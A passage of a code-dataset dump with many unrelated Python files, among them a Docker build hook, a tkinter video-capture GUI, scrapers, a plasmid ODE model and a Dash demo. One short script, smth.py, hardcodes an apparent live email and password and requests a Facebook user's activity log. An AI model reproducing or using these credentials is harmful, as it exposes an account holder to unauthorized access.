{}\".format(book[\"title\"], book[\"genre\"], book[\"count\"]))\n\ndef main():\n # Build the lexer\n lexer = lex.lex()\n if(len(sys.argv) > 2):\n userTokens = get_user_tokens(sys.argv[1], log= True)\n indexer = get_books_tokens(test, log = True)\n print(compareIndexers(userTokens, indexer))\n\n else:\n # If you need to upload some data, uncomment line below\n # upload_book_tokens(\"most\")\n # upload_book_tokens(\"10most\") #Este va a tardar mucho porque son muchos libros que tiene que subir\n # First we build our indexer from DB\n indexer = build_book_indexer()\n print(\"Indexer ready\")\n # Then we process the input from user and make it a token array\n userTokens = get_user_tokens(sys.argv[1])\n print(\"Input analyzed\")\n # Finally we just search for each user token on aour indexer\n # we return a list of books that fits better for user\n # (that contains more words the user said)\n\n books = get_books_from_indexer(userTokens, indexer)\n books.sort(key = sortBook, reverse = True)\n print(\"Books\")\n print_books(books)\n\n print(\"\"\"\n Carmen Robles\n Alberto Calleja\n Felipe Enriquez\n Mauricio Araujo\n Noe Osorio\n \"\"\")\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"crawler/lexico.py","file_name":"lexico.py","file_ext":"py","file_size_in_byte":11617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"59685891","text":"# Модуль преобразования чисел в бинарную форму.\n\ndef chr_to_bin (cur_chr=0, str_length=8):\n \"\"\" TESTED Преобразует десятичные числа в бинарные в виде строки.\n Логика следующая: любое число - это сумма чётных чисел, являющихся\n степенями двойки и не более #чем одной единицы. Таким образом если\n вычислить какие это числа, то понадобиться только поставить\n соответствующие единицы в строке нулей. \"\"\"\n output_string=''\n for i in range(0, str_length): output_string = output_string + '0'\n\n for curr in reversed(range(0,str_length)): # 8 7 6 5 4 3 2 1\n if cur_chr==0: break\n elif cur_chr % 2 == 0: # Чётное, значит рисуем 0\n output_string = output_string[0:curr] + '0'+ output_string[curr+1:]\n else: # Нечётное, рисуем 1\n output_string = output_string[0:curr] + '1'+ output_string[curr+1:]\n cur_chr-=1 #уменьшаем на 1\n cur_chr=cur_chr//2 # уменьшаем значение в два раза\n\n return output_string\n\n\ndef bin_to_chr (cur_bin):\n \"\"\" TESTED переводит бинарные числа в дисятичные. Длина входной строки не\n важна, главное чтобы она не содержала ничего кроме нулей и единиц \"\"\"\n result=0\n for i in range (0,len(cur_bin)):\n if cur_bin[i]=='0': result=result*2\n else:\n result=result*2\n result+=1\n return result\n","sub_path":"atlas/binary.py","file_name":"binary.py","file_ext":"py","file_size_in_byte":1852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"298603522","text":"import parser\n\nclass merge26lo():\n def __init__(self, fp):\n self.fp = fp\n\n def make_str(self):\n string = '''\\\nmodule merge26lo(in1, in2, out);\ninput [31:0] in1;\ninput [25:0] in2;\noutput [31:0] out;\n\n// not connected port\nwire [31:0] in1_nc;\nassign in1_nc = in1;\n\nassign out[31:0]={in1[31:28],in2[25:0],2'b0};\nendmodule''' \n\n return string\n\n def write (self):\n self.fp.write(self.make_str())\n\nif __name__ == '__main__':\n fp = open(parser.parse(), \"w\")\n uut = merge26lo(fp)\n uut.write()\n fp.close()","sub_path":"tpu/vtr/merge26lo.py","file_name":"merge26lo.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"312331926","text":"import pygame\r\n\r\npygame.init()\r\n\r\nSIZE = [600, 400]\r\nscreen = pygame.display.set_mode(SIZE)\r\npygame.display.set_caption('Заголовок окна')\r\npygame.display.set_icon(pygame.image.load('icon.png.png'))\r\n\r\nclock = pygame.time.Clock()\r\nFPS = 60\r\n\r\nWHITE = (255, 255, 255)\r\nRED = (128, 0, 0)\r\nYELLOW = (218, 165, 32)\r\n\r\nx = 300\r\ny = 200\r\nspeed = 10\r\n\r\nflag = True\r\nwhile flag:\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n pygame.quit()\r\n elif event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_a:\r\n x -= speed\r\n elif event.key == pygame.K_d:\r\n x += speed\r\n elif event.key == pygame.K_w:\r\n y -= speed\r\n elif event.key == pygame.K_s:\r\n y += speed\r\n\r\n pygame.draw.circle(screen, YELLOW, (x, y), 40)\r\n pygame.display.update()\r\n clock.tick(FPS)\r\n","sub_path":"task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"279872946","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[13]:\n\n\n#### Plasmid B modeling ####\n\n#### 2019-06-18 ####\n\n# Importing packages #\n\nimport matplotlib.pyplot as plt\n\n# EXPLICIT EULER SCHEME #\n\n# Setting up initial conditions and parameters #\n\nK1=1\nK4=1\nK5=1\nKD=1\nKt1=5\nKt2=1\nKt3=0.1\nalpha=0.8\nbeta=4\ngamma=5\nA=5 #arabinose concentration\n\ndt=0.01\nx=0.5\nt=0.00\nm=0.5\nn=0.5\n\n# Print initial conditions to screen #\n\nprint (t,x, m)\n\n# Compute the values of x(t) and m(t) for t<1.0 in a step of 0.01 so in total 100 values #\n\nt_list=list()\nx_list=list()\nm_list=list()\nn_list=list()\n\nwhile t<10.0:\n den = 1.0 + K1*A + K1*K4*KD*n*n*A + KD*KD*K1*K4*K5*n*n*n*n*A\n num1=Kt1+Kt3*K1*K4*KD*n*n*A\n fx= num1/den -alpha*x\n num2= Kt2*K1*A\n fm=num2/den - beta*m\n fn=num2/den - gamma*n\n x = x + dt*fx\n m = m + dt*fm\n n = n + dt*fn\n t = t + dt\n t_list.append(t)\n x_list.append(x)\n m_list.append(m)\n n_list.append(n)\n\n\n# Plot c, cox and tetR protein dynamics over time #\n\nfig = plt.figure()\nplt.axis([0,5,0,1.2])\nplt.scatter (t_list,x_list, s=1)\nplt.scatter (t_list,m_list, s=1)\nplt.scatter (t_list,n_list, s=1)\nplt.legend ((\"C protein\", \"Cox protein\", \"TetR protein\"))\nplt.title (\"C, Cox and TetR protein dynamics over time in plasmid B\")\nplt.xlabel (\"Time\")\nplt.ylabel (\"Protein concentration\")\nplt.show()\n\n# Plot f(x) over x, f(m) over x and f(r) over x in order to find the number of steady states #\n# The number of times f(x) and f(m) cross horizontal axis reflects the number of steady states and the exact concentration of the steady state #\n\nx=0\nm=0\nn=0\ndx=0.001\ndm=0.001\ndn=0.001\nx_list=list()\nm_list=list()\nn_list=list()\nfx_list=list()\nfm_list=list()\nfn_list=list()\n\nwhile x<5:\n den = 1.0 + K1*A + K1*K4*KD*n*n*A + KD*KD*K1*K4*K5*n*n*n*n*A\n num1=Kt1+Kt3*K1*K4*KD*n*n*A\n fx= num1/den -alpha*x\n num2= Kt2*K1*A\n fm=num2/den - beta*m\n fn=num2/den - gamma*n\n x=x+dx\n x_list.append(x)\n fx_list.append(fx)\n m=m+dm\n m_list.append(m)\n fm_list.append(fm)\n n=n+dn\n n_list.append(n)\n fn_list.append(fn)\n\n\nfig = plt.figure()\nplt.axis([0,5,-5,5])\nplt.scatter (x_list,fx_list,s=1)\nplt.scatter (m_list,fm_list,s=1)\nplt.scatter (n_list,fn_list,s=1)\nplt.legend ((\"C protein\", \"Cox protein\", \"TetR protein\"))\nplt.axhline(y=0, color='r', linestyle=':')\nplt.title (\"Steady state analysis in plasmid B\")\nplt.xlabel (\"Protein concentration\")\nplt.ylabel (\"dx/dt\")\nplt.show()\n\n\n# In[ ]:\n","sub_path":"Plasmidswitch_deter.py","file_name":"Plasmidswitch_deter.py","file_ext":"py","file_size_in_byte":2431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"98500834","text":"from django.urls import path\n\nfrom . import views\nappname = 'clinics'\nurlpatterns = [\npath('', views.clinic_list, name='clinic_list'),\n##path('clinic_login/' , views.clinic_login, name='clinic_login'),\npath('clinic_profile/' , views.clinic_profile, name='clinic_profile'),\npath('add_clinic/' , views.add_clinic, name='add_clinic'),\npath('apply_done/' , views.clinic_detail, name='apply_done'),\npath('/' , views.clinic_detail, name='clinic_detail'),\n\n\n]","sub_path":"clinics/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"14326373","text":"\"\"\"Docker image build hook.\n\nReplicates the functionality of the ``docker image build`` CLI command.\n\n\"\"\"\nfrom __future__ import annotations\n\nimport logging\nfrom pathlib import Path\nfrom typing import (\n TYPE_CHECKING,\n Any,\n Dict,\n Iterator,\n List,\n Optional,\n Tuple,\n Union,\n cast,\n)\n\nfrom docker.models.images import Image\n\nfrom ..data_models import BaseModel, DockerImage, ElasticContainerRegistryRepository\nfrom ..hook_data import DockerHookData\n\nif TYPE_CHECKING:\n from .....context import CfnginContext\n\nLOGGER = logging.getLogger(__name__.replace(\"._\", \".\"))\n\n\nclass DockerImageBuildApiOptions(BaseModel):\n \"\"\"Options for controlling Docker.\n\n Attributes:\n buildargs: Dict of build-time variables that will be passed to Docker.\n custom_context: Whether to use custom context when providing a file object.\n extra_hosts: Extra hosts to add to `/etc/hosts` in the build containers.\n Defined as a mapping of hostmane to IP address.\n forcerm: Always remove intermediate containers, even after unsuccessful builds.\n isolation: Isolation technology used during build.\n network_mode: Network mode for the run commands during build.\n nocache: Whether to use cache.\n platform: Set platform if server is multi-platform capable.\n Uses format ``os[/arch[/variant]]``.\n pull: Whether to download any updates to the FROM image in the Dockerfile.\n rm: Whether to remove intermediate containers.\n squash: Whether to squash the resulting image layers into a single layer.\n tag: Optional name and tag to apply to the base image when it is built.\n target: Name of the build-stage to build in a multi-stage Dockerfile.\n timeout: HTTP timeout.\n use_config_proxy: If ``True`` and if the Docker client configuration file\n (``~/.docker/config.json`` by default) contains a proxy configuration,\n the corresponding environment variables will be set in the container\n being built.\n\n \"\"\"\n\n buildargs: Dict[str, Any]\n custom_context: bool\n extra_hosts: Optional[Dict[str, str]]\n forcerm: bool\n isolation: Optional[str]\n network_mode: Optional[str]\n nocache: bool\n platform: Optional[str]\n pull: bool\n rm: bool\n squash: bool\n tag: Optional[str]\n target: Optional[str]\n timout: Optional[int]\n use_config_proxy: bool\n\n def __init__( # pylint: disable=too-many-arguments\n self,\n *,\n buildargs: Optional[Dict[str, Any]] = None,\n custom_context: bool = False,\n extra_hosts: Optional[Dict[str, Any]] = None,\n forcerm: bool = False,\n isolation: Optional[str] = None,\n network_mode: Optional[str] = None,\n nocache: bool = False,\n platform: Optional[str] = None,\n pull: bool = False,\n rm: bool = True, # pylint: disable=invalid-name\n squash: bool = False,\n tag: Optional[str] = None,\n target: Optional[str] = None,\n timeout: Optional[int] = None,\n use_config_proxy: bool = False,\n **kwargs: Any,\n ) -> None:\n \"\"\"Instantiate class.\n\n Args:\n buildargs: Dict of build-time variables that will be passed to Docker.\n custom_context: Whether to use custom context when providing a file object.\n extra_hosts: Extra hosts to add to `/etc/hosts` in the build containers.\n Defined as a mapping of hostmane to IP address.\n forcerm: Always remove intermediate containers, even after unsuccessful builds.\n isolation: Isolation technology used during build.\n network_mode: Network mode for the run commands during build.\n nocache: Whether to use cache.\n platform: Set platform if server is multi-platform capable.\n Uses format ``os[/arch[/variant]]``.\n pull: Whether to download any updates to the FROM image in the Dockerfile.\n rm: Whether to remove intermediate containers.\n squash: Whether to squash the resulting image layers into a single layer.\n tag: Optional name and tag to apply to the base image when it is built.\n target: Name of the build-stage to build in a multi-stage Dockerfile.\n timeout: HTTP timeout.\n use_config_proxy: If ``True`` and if the Docker client configuration file\n (``~/.docker/config.json`` by default) contains a proxy configuration,\n the corresponding environment variables will be set in the container\n being built.\n\n \"\"\"\n super().__init__(**kwargs)\n self.buildargs = self._validate_dict(buildargs)\n self.custom_context = self._validate_bool(custom_context)\n self.extra_hosts = self._validate_dict(extra_hosts, optional=True)\n self.forcerm = self._validate_bool(forcerm)\n self.isolation = self._validate_str(isolation, optional=True)\n self.network_mode = self._validate_str(network_mode, optional=True)\n self.nocache = self._validate_bool(nocache)\n self.platform = self._validate_str(platform, optional=True)\n self.pull = self._validate_bool(pull)\n self.rm = self._validate_bool(rm) # pylint: disable=invalid-name\n self.squash = self._validate_bool(squash)\n self.tag = self._validate_str(tag, optional=True)\n self.target = self._validate_str(target, optional=True)\n self.timeout = self._validate_int(timeout, optional=True)\n self.use_config_proxy = self._validate_bool(use_config_proxy)\n\n\nclass ImageBuildArgs(BaseModel):\n \"\"\"Args passed to image.build.\n\n Attributes:\n docker: Options for ``docker image build``.\n dockerfile: Path within the build context to the Dockerfile.\n ecr_repo: AWS Elastic Container Registry repository information.\n Providing this will automatically construct the repo URI.\n If provided, do not provide ``repo``.\n\n If using a private registry, only ``repo_name`` is required.\n If using a public registry, ``repo_name`` and ``registry_alias``.\n path: Path to the directory containing the Dockerfile.\n repo: URI of a non Docker Hub repository where the image will be stored.\n tags: List of tags to apply to the image.\n\n \"\"\"\n\n docker: DockerImageBuildApiOptions\n dockerfile: str\n path: Path\n repo: Optional[str]\n tags: List[str]\n\n def __init__(\n self,\n *,\n context: Optional[CfnginContext] = None,\n docker: Optional[Dict[str, Any]] = None,\n dockerfile: str = \"./Dockerfile\",\n ecr_repo: Optional[Dict[str, Optional[str]]] = None,\n path: Optional[Union[Path, str]] = None,\n repo: Optional[str] = None,\n tags: Optional[List[str]] = None,\n **_: Any,\n ) -> None:\n \"\"\"Instantiate class.\n\n Args:\n context: CFNgin context object.\n docker: Options for ``docker image build``.\n dockerfile: Path within the build context to the Dockerfile.\n ecr_repo: AWS Elastic Container Registry repository information.\n Providing this will automatically create the repo URI.\n If provided, do not provide ``repo``.\n path: Path to the directory containing the Dockerfile.\n repo: URI of a non Docker Hub repository where the image will be stored.\n If providing one of the other repo values, leave this value empty.\n tags: List of tags to apply to the image. If not provided, ``[\"latest\"]``\n will be used.\n\n \"\"\"\n super().__init__(context=context)\n docker = docker or {}\n self.path = self._validate_path(path or Path.cwd(), must_exist=True)\n self.dockerfile = self._validate_dockerfile(self.path, dockerfile)\n self.repo = self.determine_repo(\n context=context,\n ecr_repo=self._validate_dict(ecr_repo, optional=True),\n repo=self._validate_str(repo, optional=True),\n )\n self.tags = cast(\n List[str], self._validate_list_str(tags or [\"latest\"], required=True)\n )\n\n if self.repo:\n docker.setdefault(\"tag\", self.repo)\n self.docker = DockerImageBuildApiOptions.parse_obj(docker)\n\n @classmethod\n def _validate_dockerfile(cls, path: Path, dockerfile: str) -> str:\n \"\"\"Validate Dockerfile.\"\"\"\n if path.is_file():\n if path.name.endswith(\"Dockerfile\"):\n raise ValueError(\n cls.__name__ + \".path should not reference the Dockerfile directly\"\n \" but the directory containing the Dockerfile\"\n )\n return dockerfile\n fq_dockerfile = path / dockerfile\n if not fq_dockerfile.is_file():\n raise ValueError(\n f\"Dockerfile does not exist at path provided: {fq_dockerfile}\"\n )\n return dockerfile\n\n @staticmethod\n def determine_repo(\n context: Optional[CfnginContext] = None,\n ecr_repo: Optional[Dict[str, Optional[str]]] = None,\n repo: Optional[str] = None,\n ) -> Optional[str]:\n \"\"\"Determine repo URI.\n\n Args:\n context: CFNgin context.\n ecr_repo: AWS Elastic Container Registry options.\n repo: URI of a non Docker Hub repository.\n\n \"\"\"\n if repo:\n return repo\n if ecr_repo:\n return ElasticContainerRegistryRepository.parse_obj(\n ecr_repo, context=context\n ).fqn\n return None\n\n\ndef build(*, context: CfnginContext, **kwargs: Any) -> DockerHookData:\n \"\"\"Docker image build hook.\n\n Replicates the functionality of ``docker image build`` CLI command.\n\n kwargs are parsed by :class:`~runway.cfngin.hooks.docker.image.ImageBuildArgs`.\n\n \"\"\"\n kwargs.pop(\"provider\", None) # not needed\n args = ImageBuildArgs.parse_obj(kwargs, context=context)\n docker_hook_data = DockerHookData.from_cfngin_context(context)\n image, logs = cast(\n Tuple[Image, Iterator[Dict[str, str]]],\n docker_hook_data.client.images.build(path=str(args.path), **args.docker.dict()),\n )\n for msg in logs: # iterate through JSON log messages\n if \"stream\" in msg: # log if they contain a message\n LOGGER.info(msg[\"stream\"].strip()) # remove any new line characters\n for tag in args.tags:\n image.tag(args.repo, tag=tag)\n image.reload()\n LOGGER.info(\n \"created image %s with tags %s\",\n cast(str, image.short_id),\n \", \".join(cast(List[str], image.tags)),\n )\n docker_hook_data.image = DockerImage(image=image)\n return docker_hook_data.update_context(context)\n","sub_path":"runway/cfngin/hooks/docker/image/_build.py","file_name":"_build.py","file_ext":"py","file_size_in_byte":10826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"420217006","text":"\"\"\"\napp.py\n\"\"\"\n\n\"\"\"\nGenerating HTML with Dash\nDash apps are composed of two parts.\nThe first part is \"layout\" of the app and it\ndescribes what the application looks like.\nThe second part describes the interactivity of \nthe application.\n\nDash provides Python classes for all of the visual components of\nthe application. We mention a set of components in the dash_core_components\nand the ```dash_html_components``` and ```dash_core_components```\nlibrary but you can also build your own with JavaScript and\nReact.js\n\"\"\"\n\n\"\"\"\nTo get started, create a file named app.py with the following code:\n\"\"\"\n\nimport dash\nimport dash_core_components as dcc \nimport dash_html_components as html \n\napp = dash.Dash()\n\napp.layout = html.Div(children=[\n html.H1(children='Hello Dash'),\n\n html.Div(children='''\n Dash: A web application framework for Python.\n '''),\n\n dcc.Graph(\n id='example-graph',\n figure={\n 'data': [\n dict(x=[1,2,3],y=[4,1,2],type='line',name='something'),\n {'x': [1, 2, 3], 'y': [4, 1, 2], 'type': 'bar', 'name': 'SF'},\n {'x': [1, 2, 3], 'y': [2, 4, 5], 'type': 'bar', 'name': u'Montréal'},\n ],\n 'layout': {\n 'title': 'Dash Data Visualization'\n }\n }\n )\n])\n\n\ndef main():\n app.run_server(debug=True)\n\nif __name__ == '__main__':\n main()\n\n\n","sub_path":"dashLibrary/officialTutorial/dashAppLayout/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"467332517","text":"from collections import Counter, deque\r\n\r\nn = int(input())\r\n\r\ns = input().strip()\r\n\r\nlookup = Counter(s)\r\n\r\nnums = {}\r\n\r\nfor i in range(lookup['#']):\r\n k, v = [int(x) for x in input().split()]\r\n nums[k - 1] = v\r\n \r\n\r\nparenth = {}\r\n\r\nfor i in range(lookup['(']):\r\n k, e, v = [int(x) for x in input().split()]\r\n parenth[k - 1] = v\r\n\r\nstack = deque()\r\n\r\nstack.append([0, 0, 0, []]) # value, red, green, unclaimed\r\n\r\n\r\ndef knapsack(goal, arr):\r\n \r\n sumOf = sum(arr)\r\n n = len(arr)\r\n \r\n if sumOf < goal or goal <= 0:\r\n return goal - sumOf, sumOf\r\n \r\n dp = [[0 for i in range(goal + 1)] for j in range(n + 1)]\r\n \r\n for i in range(n + 1):\r\n for w in range(goal + 1):\r\n if i * w == 0: continue\r\n \r\n if arr[i - 1] <= w:\r\n dp[i][w] = max(arr[i - 1] + dp[i - 1][w - arr[i - 1]], dp[i - 1][w]) \r\n \r\n else:\r\n dp[i][w] = dp[i - 1][w]\r\n \r\n return goal - dp[n][goal], dp[n][goal]\r\n \r\n\r\n\r\nfor i, char in enumerate(s):\r\n if char == '(':\r\n stack.append([parenth[i], 0, 0, []])\r\n \r\n elif char == '#':\r\n stack[-1][3].append(nums[i])\r\n \r\n else:\r\n goal, red, green, unclaimed = stack.pop()\r\n \r\n if red > goal and green > goal:\r\n print(\"No\")\r\n break\r\n \r\n redScore, redUsed = knapsack(goal - red, unclaimed)\r\n greenScore, greenUsed = knapsack(goal - green, unclaimed)\r\n \r\n parent = stack[-1]\r\n \r\n if redScore <= greenScore:\r\n parent[1] += red + redUsed\r\n parent[2] += green + sum(unclaimed) - redUsed\r\n \r\n else:\r\n parent[1] += green + greenUsed\r\n parent[2] += red + sum(unclaimed) - greenUsed\r\n \r\n \r\nelse:\r\n print(\"Yes\") \r\n \r\n \r\n","sub_path":"august circuits/strings.py","file_name":"strings.py","file_ext":"py","file_size_in_byte":1892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"99132353","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\n\ndef estimate_coef(x, y):\n n = np.size(x)\n \n m_x, m_y = np.mean(x), np.mean(y)\n \n SS_xy = np.sum(y*x) - n*m_y*m_x \n SS_xx = np.sum(x*x) - n*m_x*m_x \n \n b_1 = SS_xy / SS_xx \n b_0 = m_y - b_1*m_x \n \n return(b_0, b_1)\n\ndef plot_regression_line(x, y, b): \n # plotting the actual points as scatter plot \n plt.scatter(x, y, color = \"m\", \n marker = \"o\", s = 30) \n \n # predicted response vector \n y_pred = b[0] + b[1]*x \n \n # plotting the regression line \n plt.plot(x, y_pred, color = \"g\") \n \n # putting labels \n plt.xlabel('x') \n plt.ylabel('y') \n \n # function to show plot \n plt.show() \n\n\ndf = pd.read_csv(\"team.csv\", encoding=\"Latin-1\")\n\nnp1 = np.array(df['Experience'])\nnp2 = np.array(df['Age'])\n\n# print(np1, np2)\n\nb1 = estimate_coef(np1, np2)\n\n\nplot_regression_line(np1, np2, b1)\n\n\n\n","sub_path":"lab1/lab1.py","file_name":"lab1.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"226241747","text":"from View.double_slider import *\r\nimport tkinter as tk\r\nimport PIL\r\nfrom tkvideo import tkvideo\r\nfrom tkinter import filedialog\r\nfrom Model.video import Video\r\n\r\nclass Capture_Screen(tk.Toplevel):\r\n \"\"\"\r\n The GUI for the capture screen.\r\n \"\"\"\r\n\r\n def __init__(self, master, new_window_func):\r\n tk.Toplevel.__init__(self, master)\r\n self.protocol('WM_DELETE_WINDOW', self.master.destroy)\r\n self.new_window_func = new_window_func\r\n #self.filename=\"swing01_Trim.mp4\"\r\n #self.vid = Video(self.filename)\r\n self.frames = []#self.vid.get_video()\r\n self.min_frame = 0\r\n self.max_frame = 0\r\n self.build_window()\r\n\r\n self.is_playing = False\r\n\r\n self.recording = False\r\n\r\n self.thread = None\r\n\r\n self.delay = 15\r\n self.update()\r\n\r\n \r\n def get_filename(self):\r\n \"\"\"Open a filedialog for File.\"\"\"\r\n return filedialog.askopenfilename()\r\n \r\n def load_video(self):\r\n self.filename = self.get_filename()\r\n if len(self.frames) > 0:\r\n self.vid.__del__()\r\n self.vid = Video(self.filename)\r\n self.frames = self.vid.get_video()\r\n self.curr_frame = 0\r\n self.min_frame = 0\r\n self.max_frame = len(self.frames) - 1\r\n self.video_slider.max_val = self.max_frame - 1\r\n self.play()\r\n\r\n def remove(self):\r\n \"\"\"\r\n Deletes the window.\r\n \"\"\"\r\n self.window.destroy()\r\n \r\n def trim_video(self, values):\r\n \"\"\"\r\n Changes the frames to play in the video.\r\n \"\"\"\r\n if not self.recording:\r\n self.min_frame = min(values)\r\n self.max_frame = max(values)\r\n self.curr_frame = self.min_frame\r\n \r\n def pause(self):\r\n \"\"\"\r\n Sets the video playback to false.\r\n \"\"\"\r\n self.is_playing = False\r\n\r\n def record(self):\r\n \"\"\"\r\n Starts recording and displaying video.\r\n \"\"\"\r\n print(\"Recording...\")\r\n if not self.recording:\r\n self.recording = True\r\n try:\r\n self.vid = Video(0)\r\n except ValueError:\r\n print(\"Error Loading Video from source!\")\r\n self.recording = False\r\n \r\n def stop_recording(self):\r\n \"\"\"\r\n Stops the recording and saves it.\r\n \"\"\"\r\n print(\"Stop Recording...\")\r\n if self.recording:\r\n self.recording = False\r\n self.vid.save_video(\"recording1\")\r\n \r\n \r\n def update_video(self):\r\n \"\"\"\r\n Progresses the video by 1 frame. Runs every time the GUI updates.\r\n \"\"\"\r\n if not self.curr_frame < self.min_frame and not self.curr_frame > self.max_frame:\r\n frame = self.frames[self.curr_frame]\r\n self.photo = PIL.ImageTk.PhotoImage(image = PIL.Image.fromarray(frame))\r\n self.video_display.create_image(0, 0, image = self.photo, anchor = tk.NW)\r\n self.curr_frame = self.curr_frame + 1\r\n else:\r\n self.curr_frame = self.min_frame\r\n\r\n \r\n\r\n def update_recording(self):\r\n \"\"\"\r\n Shows the current frame of the live video.\r\n \"\"\"\r\n ret, frame = self.vid.get_frame()\r\n if ret:\r\n self.photo = PIL.ImageTk.PhotoImage(image = PIL.Image.fromarray(frame))\r\n self.video_display.create_image(0, 0, image = self.photo, anchor = tk.NW)\r\n\r\n def play(self):\r\n \"\"\"\r\n Sets the video playback to true.\r\n \"\"\"\r\n if len(self.frames) > 0:\r\n self.is_playing = True\r\n\r\n def update(self):\r\n \"\"\"\r\n Updates the GUI every frame.\r\n \"\"\"\r\n # Get a frame from the video source\r\n #ret, frame = self.vid.get_frame()\r\n if self.recording:\r\n self.update_recording()\r\n elif self.is_playing: \r\n self.update_video()\r\n \r\n if self.thread and self.thread.is_alive():\r\n self.submit_btn['state'] = tk.DISABLED\r\n else:\r\n self.submit_btn['state'] = tk.NORMAL\r\n \r\n \r\n self.after(self.delay, self.update) \r\n\r\n def build_window(self):\r\n \"\"\"\r\n Build and layout the window.\r\n \"\"\"\r\n self.title = Label(self, text=\"Record and trim golf stroke video\")\r\n \r\n self.video_display = tk.Canvas(self, width = 400, height = 400)\r\n \r\n self.play_btn = Button(self, text=\"Play\", command=self.play)\r\n self.pause_btn = Button(self, text=\"Pause\", command=self.pause)\r\n self.record_btn = Button(self, text=\"Record\", command=self.record)\r\n self.stop_btn = Button(self, text=\"Stop\", command=self.stop_recording)\r\n self.video_slider = Double_Slider(self, self.trim_video, max_val=len(self.frames) - 1)\r\n self.submit_btn = Button(self, text=\"Submit Selection\", command=(lambda : self.new_window_func(self.frames[self.min_frame:self.max_frame + 1], self.recording)))\r\n self.btnFile = Button(self, text=\"File\", command=self.load_video)\r\n\r\n self.btnFile.grid(row=0, column=1)\r\n self.title.grid(row=2, column=3)\r\n self.video_display.grid(row=3, column=1, rowspan=3, columnspan=5)\r\n self.play_btn.grid(row=7, column=1)\r\n self.pause_btn.grid(row=7, column=2)\r\n self.record_btn.grid(row=7, column=3)\r\n self.stop_btn.grid(row=7, column=4)\r\n self.video_slider.grid(row=8, column=1, columnspan=5)\r\n self.submit_btn.grid(row=9, column=3)\r\n\r\n","sub_path":"View/capture_screen.py","file_name":"capture_screen.py","file_ext":"py","file_size_in_byte":5513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"108609258","text":"from bs4 import BeautifulSoup\nimport requests\n\ndef save():\n with open('sulpak_comps_parser.txt', 'a') as file:\n file.write(f\"{comp['title']}, {comp['price']} Ссылка : {comp['link']}\\n\")\n\ndef parse():\n URL = 'https://www.sulpak.kg/f/noutbuki'\n HEADERS = {\n 'User-Agent' : 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0' \n }\n\n response = requests.get(URL, headers = HEADERS)\n soup = BeautifulSoup(response.content, 'html.parser')\n items = soup.find_all('div', class_='goods-tiles')\n \n comps = []\n\n for item in items:\n comps.append({\n 'title' : item.find('h3', class_='title').get_text(strip=True),\n 'price' : item.find('div', class_='price').get_text(strip=True),\n 'link' : URL + item.find('div', class_='product-container-right-side').find('a').get('href')\n })\n\n global comp\n for comp in comps:\n print(f\"{comp['title']}, {comp['price']} Ссылка : {comp['link']}\\n\")\n save()\n\nparse()","sub_path":"week7/day33_parsing a website/sulpakParser.py","file_name":"sulpakParser.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"277234596","text":"import requests\nfrom requests.auth import HTTPDigestAuth\n\nlink = \"https://mbasic.facebook.com/100002256167339/allactivity?timeend=1512115199×tart=1512086400\"\n\nwith requests.Session() as s:\n\ts.auth = (\"facetymek@protonmail.com\", \"ptvf_Gy4HmmAH0I8fQ0A\")\n\ts.headers.update({'x-test': 'true'})\n\n\tr = s.get(link)\n\tprint(r.content)\n","sub_path":"Interpreted/Python/smth.py","file_name":"smth.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"603805134","text":"\"\"\"Sample job postings\"\"\"\n\nimport random\nfrom skills_ml.algorithms.sampling.methods import reservoir, reservoir_weighted\nimport numpy as np\nfrom skills_utils.common import safe_get\n\n\nclass JobSampler(object):\n \"\"\"Job posting sampler using reservoir sampling methods\n\n It takes a job_posting generator as an input. To sample based on weights, one should sepecify a weight dictionary.\n\n Attributes:\n job_posting_generator (iterator): Job posting iterator to sample from.\n major_group (bool): A flag for using major_group as a label or not\n keys (list|str): a key or keys(for nested dictionary) indicates the label which should exist in common schema\n of job posting.\n weights (dict): a dictionary that has key-value pairs as label-weighting pairs. It expects every\n label in the iterator to be present as a key in the weights dictionary For example,\n weights = {'11': 2, '13', 1}. In this case, the label/key is the occupation major\n group and the value is the weight you want to sample with.\n random_state (int): the seed used by the random number generator\n\n \"\"\"\n def __init__(self, job_posting_generator, major_group=False, keys=None, weights=None, random_state=None):\n self.job_posting_generator = job_posting_generator\n self.major_group = major_group\n self.weights = weights\n self.keys = keys\n self.random_state = random_state\n if random_state:\n np.random.seed(random_state)\n random.seed(random_state)\n\n def _transform_generator(self, job_posting_generator):\n if isinstance(self.keys, list):\n for job in job_posting_generator:\n yield (job, safe_get(job, *self.keys))\n elif isinstance(self.keys, str):\n for job in job_posting_generator:\n yield (job, job[self.keys])\n elif self.major_group:\n for job in job_posting_generator:\n try:\n yield (job, 